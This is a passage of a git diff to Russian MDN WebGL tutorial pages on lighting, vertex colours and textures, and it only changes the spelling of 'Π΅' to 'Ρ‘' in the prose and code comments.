Β  mat4.invert(normalMatrix, modelViewMatrix);
@@ -166,15 +166,15 @@ translation_of: Web/API/WebGL_API/Tutorial/Lighting_in_WebGL
Β  `;
</pre>
-<p>ПослС расчСта ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ тСксСля ({{Glossary("texel")}}), ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²Π΅Ρ€ΡˆΠΈΠ½Π΅, Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€, ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ расчСт освСщСния Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹.</p>
+<p>ПослС расчёта ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΌΡ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ тСксСля ({{Glossary("texel")}}), ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ Π²Π΅Ρ€ΡˆΠΈΠ½Π΅, Π²ΠΎ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€, ΠΈ Π½Π°Ρ‡ΠΈΠ½Π°Π΅ΠΌ расчёт освСщСния Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹.</p>
<p>Π‘Π½Π°Ρ‡Π°Π»Π° Π½ΡƒΠΆΠ½ΠΎ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒ, ΠΎΡΠ½ΠΎΠ²Ρ‹Π²Π°ΡΡΡŒ Π½Π° Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΊΡƒΠ±Π° -Β ΡƒΠΌΠ½ΠΎΠΆΠΈΠ² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ Π½Π° ΠΌΠ°Ρ‚Ρ€ΠΈΡ†Ρƒ Π½ΠΎΡ€ΠΌΠ°Π»Π΅ΠΉ. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Ρ€Π°ΡΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ количСство свСта ΠΎΡ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ источника, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ Π² Π²Π΅Ρ€ΡˆΠΈΠ½Ρƒ, посчитав скалярноС ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½Π½ΠΎΠΉ Π½ΠΎΡ€ΠΌΠ°Π»ΠΈ ΠΈ Π²Π΅ΠΊΡ‚ΠΎΡ€Π° направлСния (направлСния, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΡ‚ свСт). Если скалярноС ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ мСньшС нуля, Ρ‚ΠΎ ΠΌΡ‹ ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅ΠΌ Π΅Π³ΠΎ Π·Π° ноль, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ количСство свСта Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ мСньшС 0.</p>
-<p>ПослС расчСта количСства ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ свСта ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ освСщСниС, слоТив ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΉ свСт ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ количСства Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ свСта Π½Π° Π΅Π³ΠΎ Ρ†Π²Π΅Ρ‚.Β Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ получаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ RGB, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΌΒ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠΌ для измСнСния Ρ†Π²Π΅Ρ‚Π° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ пиксСля.</p>
+<p>ПослС расчёта количСства ΠΏΠ°Π΄Π°ΡŽΡ‰Π΅Π³ΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ свСта ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΠΎΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Ρ„ΠΈΠ½Π°Π»ΡŒΠ½ΠΎΠ΅ освСщСниС, слоТив ΠΎΠΊΡ€ΡƒΠΆΠ°ΡŽΡ‰ΠΈΠΉ свСт ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²Π΅Π΄Π΅Π½ΠΈΠ΅ количСства Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠ³ΠΎ свСта Π½Π° Π΅Π³ΠΎ Ρ†Π²Π΅Ρ‚.Β Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ получаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ RGB, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΌΒ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠΌ для измСнСния Ρ†Π²Π΅Ρ‚Π° ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ пиксСля.</p>
<h3 id="Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ_ΡˆΠ΅ΠΉΠ΄Π΅Ρ€">Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€</h3>
-<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π» Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ освСщСния, рассчитанноС Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π½ΠΎΠΌ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π΅:</p>
+<p>Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ ΡƒΡ‡ΠΈΡ‚Ρ‹Π²Π°Π» Π² Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ освСщСния, рассчитанноС Π² Π²Π΅Ρ€ΡˆΠΈΠ½Π½ΠΎΠΌ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π΅:</p>
<pre class="brush: js">Β  const fsSource = `
Β  Β  varying highp vec2 vTextureCoord;
diff --git a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
index 0c01467385..1e3a2c7358 100644
--- a/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/using_shaders_to_apply_color_in_webgl/index.html
@@ -11,14 +11,14 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
<h2 id="Π—Π°Π΄Π°Π½ΠΈΠ΅_Ρ†Π²Π΅Ρ‚Π°_Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌ">Π—Π°Π΄Π°Π½ΠΈΠ΅ Ρ†Π²Π΅Ρ‚Π° Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌ</h2>
-<p>Π’ GL, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ строятся с использованиСм Π½Π°Π±ΠΎΡ€ΠΎΠ² Π²Π΅Ρ€ΡˆΠΈΠ½, для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… задаСтся ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² пространствС ΠΈ Ρ†Π²Π΅Ρ‚. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ†Π²Π΅Ρ‚Π° всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… пиксСлСй (ΠΈ всС ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² пространствС) Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ с использованиСм Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ интСрполяции, автоматичСски создавая ΠΏΠ»Π°Π²Π½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚. Π’ ΠΏΡ€ΠΎΡˆΠ»Ρ‹ΠΉ Ρ€Π°Π· наш Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ Π½Π΅ Π·Π°Π΄Π°Π²Π°Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ² Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌ, Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ Π½Π°Π·Π½Π°Ρ‡ΠΈΠ» фиксированный Π±Π΅Π»Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ пиксСлю, поэтому ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ Π±Ρ‹Π» отрисован Π±Π΅Π»Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</p>
+<p>Π’ GL, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ строятся с использованиСм Π½Π°Π±ΠΎΡ€ΠΎΠ² Π²Π΅Ρ€ΡˆΠΈΠ½, для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… задаётся ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² пространствС ΠΈ Ρ†Π²Π΅Ρ‚. По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, Ρ†Π²Π΅Ρ‚Π° всСх ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Ρ… пиксСлСй (ΠΈ всС ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π² пространствС) Π²Ρ‹Ρ‡ΠΈΡΠ»ΡΡŽΡ‚ΡΡ с использованиСм Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠΉ интСрполяции, автоматичСски создавая ΠΏΠ»Π°Π²Π½Ρ‹ΠΉ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚. Π’ ΠΏΡ€ΠΎΡˆΠ»Ρ‹ΠΉ Ρ€Π°Π· наш Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ Π½Π΅ Π·Π°Π΄Π°Π²Π°Π» ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Ρ†Π²Π΅Ρ‚ΠΎΠ² Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌ, Π° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ Π½Π°Π·Π½Π°Ρ‡ΠΈΠ» фиксированный Π±Π΅Π»Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ пиксСлю, поэтому ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ Ρ†Π΅Π»ΠΈΠΊΠΎΠΌ Π±Ρ‹Π» отрисован Π±Π΅Π»Ρ‹ΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</p>
-<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°: красного, синСго, Π·Π΅Π»Π΅Π½ΠΎΠ³ΠΎ ΠΈ Π±Π΅Π»Ρ‹ΠΉ. ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ - Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ эти Ρ†Π²Π΅Ρ‚Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ΠΌ Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, Π½Π°ΠΌ сначала Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ массив Ρ†Π²Π΅Ρ‚ΠΎΠ² Π²Π΅Ρ€ΡˆΠΈΠ½, Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² WebGL Π±ΡƒΡ„Π΅Ρ€. ΠœΡ‹ сдСлаСм это, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π² Π½Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>initBuffers()</code>:</p>
+<p>ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ Π³Ρ€Π°Π΄ΠΈΠ΅Π½Ρ‚, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΡƒΠ³ΠΎΠ» ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° Ρ€Π°Π·Π½ΠΎΠ³ΠΎ Ρ†Π²Π΅Ρ‚Π°: красного, синСго, Π·Π΅Π»Ρ‘Π½ΠΎΠ³ΠΎ ΠΈ Π±Π΅Π»Ρ‹ΠΉ. ΠŸΠ΅Ρ€Π²ΠΎΠ΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ - Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ эти Ρ†Π²Π΅Ρ‚Π° Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘ΠΌ Π²Π΅Ρ€ΡˆΠΈΠ½Π°ΠΌ. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это, Π½Π°ΠΌ сначала Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ массив Ρ†Π²Π΅Ρ‚ΠΎΠ² Π²Π΅Ρ€ΡˆΠΈΠ½, Π° Π·Π°Ρ‚Π΅ΠΌ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² WebGL Π±ΡƒΡ„Π΅Ρ€. ΠœΡ‹ сдСлаСм это, Π΄ΠΎΠ±Π°Π²ΠΈΠ² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ΄ Π² Π½Π°ΡˆΡƒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>initBuffers()</code>:</p>
<pre class="brush: js"> var colors = [
1.0, 1.0, 1.0, 1.0, // Π±Π΅Π»Ρ‹ΠΉ
1.0, 0.0, 0.0, 1.0, // красный
- 0.0, 1.0, 0.0, 1.0, // Π·Π΅Π»Π΅Π½Ρ‹ΠΉ
+ 0.0, 1.0, 0.0, 1.0, // Π·Π΅Π»Ρ‘Π½Ρ‹ΠΉ
0.0, 0.0, 1.0, 1.0 // синий
];
@@ -48,11 +48,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
&lt;/script&gt;
</pre>
-<p>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ здСсь являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, ΠΌΡ‹ Π·Π°Π΄Π°Π΅ΠΌ Ρ†Π²Π΅Ρ‚ Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· массива Ρ†Π²Π΅Ρ‚Π°.</p>
+<p>ΠšΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ΠΌ здСсь являСтся Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹, ΠΌΡ‹ Π·Π°Π΄Π°Ρ‘ΠΌ Ρ†Π²Π΅Ρ‚ Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠ· массива Ρ†Π²Π΅Ρ‚Π°.</p>
<h2 id="ΠžΠΊΡ€Π°ΡΠΊΠ°_Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ²">ΠžΠΊΡ€Π°ΡΠΊΠ° Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ²</h2>
-<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ выглядСл Ρ€Π°Π½Π΅Π΅, Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ Π΅Π³ΠΎ ΠΊΠΎΠ΄:</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°ΠΏΠΎΠΌΠ½ΠΈΡ‚ΡŒ, ΠΊΠ°ΠΊ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ выглядСл Ρ€Π°Π½Π΅Π΅, Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ Π΅Π³ΠΎ ΠΊΠΎΠ΄:</p>
<pre class="brush: html"> &lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
Β Β Β Β Β Β void main(void) {
@@ -88,7 +88,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL
gl.vertexAttribPointer(vertexColorAttribute, 4, gl.FLOAT, false, 0, 0);
</pre>
-<p>На этом этапС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ <a href="/samples/webgl/sample3/index.html" title="https://developer.mozilla.org/samples/webgl/sample3/index.html">Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ написанного ΠΊΠΎΠ΄Π°</a>, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ WebGL. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π΅Ρ‡Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅Π΅ Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ рисунок (располоТСнный ΠΏΠΎ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ Π² большом Ρ‡Π΅Ρ€Π½ΠΎΠΌ ΠΏΠΎΠ»Π΅):</p>
+<p>На этом этапС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ <a href="/samples/webgl/sample3/index.html" title="https://developer.mozilla.org/samples/webgl/sample3/index.html">Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρ‹ написанного ΠΊΠΎΠ΄Π°</a>, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉ WebGL. Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅ Π½Π΅Ρ‡Ρ‚ΠΎ ΠΏΠΎΡ…ΠΎΠΆΠ΅Π΅ Π½Π° ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ рисунок (располоТСнный ΠΏΠΎ Ρ†Π΅Π½Ρ‚Ρ€Ρƒ Π² большом Ρ‡Ρ‘Ρ€Π½ΠΎΠΌ ΠΏΠΎΠ»Π΅):</p>
<p><img alt="screenshot.png" class="default internal" src="/@api/deki/files/4081/=screenshot.png"></p>
diff --git a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
index 706bf00786..5d3b79d1bc 100644
--- a/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
+++ b/files/ru/web/api/webgl_api/tutorial/using_textures_in_webgl/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL
---
<p>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Creating_3D_objects_using_WebGL", "Web/API/WebGL_API/Tutorial/Lighting_in_WebGL")}}</p>
-<p>БСйчас наша ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° рисуСт Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉΡΡ ΠΎΠ±ΡŠΠ΅ΠΌΠ½Ρ‹ΠΉ ΠΊΡƒΠ± -Β Π΄Π°Π²Π°ΠΉΡ‚Π΅ натянСм Π½Π° Π½Π΅Π³ΠΎ тСкстуру вмСсто Π·Π°Π»ΠΈΠ²ΠΊΠΈ Π³Ρ€Π°Π½Π΅ΠΉ ΠΎΠ΄Π½ΠΈΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</p>
+<p>БСйчас наша ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° рисуСт Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰ΠΈΠΉΡΡ ΠΎΠ±ΡŠΡ‘ΠΌΠ½Ρ‹ΠΉ ΠΊΡƒΠ± -Β Π΄Π°Π²Π°ΠΉΡ‚Π΅ натянСм Π½Π° Π½Π΅Π³ΠΎ тСкстуру вмСсто Π·Π°Π»ΠΈΠ²ΠΊΠΈ Π³Ρ€Π°Π½Π΅ΠΉ ΠΎΠ΄Π½ΠΈΠΌ Ρ†Π²Π΅Ρ‚ΠΎΠΌ.</p>
<h2 id="Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ°_тСкстур">Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° тСкстур</h2>
@@ -52,7 +52,7 @@ function loadTexture(gl, url) {
// ΠΈ ΠΊ Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‰ΠΈΠΌ Ρ€Π°Π·ΠΌΠ΅Ρ€ стСпСни 2, поэтому провСряСм, Ρ‡Ρ‚ΠΎ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅
Β  // ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€ стСпСни 2 Π² ΠΎΠ±Π΅ΠΈΡ… измСрСниях.
if (isPowerOf2(image.width) &amp;&amp; isPowerOf2(image.height)) {
- // Π Π°Π·ΠΌΠ΅Ρ€ соотвСтствуСт стСпСни 2. Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ MIP'Ρ‹.
